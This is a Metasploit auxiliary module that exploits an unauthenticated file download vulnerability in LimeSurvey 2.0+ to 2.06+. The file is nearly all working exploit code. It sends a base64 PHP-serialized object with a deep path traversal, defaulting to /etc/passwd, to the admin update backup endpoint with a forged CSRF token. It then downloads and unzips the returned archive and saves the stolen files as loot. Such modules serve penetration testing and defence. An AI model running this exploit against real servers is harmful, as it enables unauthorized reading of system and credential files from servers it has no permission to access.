limesurvey_file_download.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# for extracting files
require 'zip'

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Limesurvey Unauthenticated File Download',
        'Description' => %q{
          This module exploits an unauthenticated file download vulnerability
          in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded
          as a ZIP and unzipped automatically, thus binary files can be downloaded.
        },
        'Author' => [
          'Pichaya Morimoto', # Vulnerability Discovery
          'Christian Mehlmauer' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-34120'],
          ['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-lime-survey/'],
          ['URL', 'https://www.limesurvey.org/blog/22-security/136-limesurvey-security-advisory-10-2015'],
          ['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1']
        ],
        'DisclosureDate' => '2015-10-12',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'The base path to the limesurvey installation', '/']),
        OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
        OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15])
      ]
    )
  end

  def filepath
    datastore['FILEPATH']
  end

  def traversal_depth
    datastore['TRAVERSAL_DEPTH']
  end

  def payload
    traversal = '/..' * traversal_depth
    file = "#{traversal}#{filepath}"
    serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}'
    Rex::Text.encode_base64(serialized)
  end

  def unzip_file(zipfile)
    zip_data = Hash.new
    begin
      Zip::File.open_buffer(zipfile) do |filezip|
        filezip.each do |entry|
          zip_data[::File.expand_path(entry.name)] = filezip.read(entry)
        end
      end
    rescue Zip::Error => e
      print_error("Error extracting ZIP: #{e}")
    end
    return zip_data
  end

  def run
    csrf_token = Rex::Text.rand_text_alpha(10)

    vars_post = {
      'YII_CSRF_TOKEN' => csrf_token,
      'destinationBuild' => Rex::Text.rand_text_alpha(5),
      'datasupdateinfo' => payload
    }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'),
      'cookie' => "YII_CSRF_TOKEN=#{csrf_token}",
      'vars_post' => vars_post
    })

    if res && res.code == 200 && res.body && res.body.include?('Download this file')
      match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>})
      if match
        local_path = match[1]
        download_url = match[2]
        print_status("File saved to #{local_path}")
        print_status("Downloading backup from URL #{download_url}")

        res = send_request_cgi({
          'method' => 'GET',
          'uri' => download_url
        })

        if res && res.code == 200
          unzipped = unzip_file(res.body)

          unzipped.each do |filename, content|
            print_good("Filename: #{filename}")
            print_good(content)

            path = store_loot(
              'limesurvey.http',
              'application/octet-stream',
              rhost,
              content,
              filename
            )
            print_good("File saved in: #{path}")
          end
        else
          print_error('Failed to download file')
        end
      else
        print_error('Failed to download file')
      end
    else
      print_error('Failed to download file')
    end
  end
end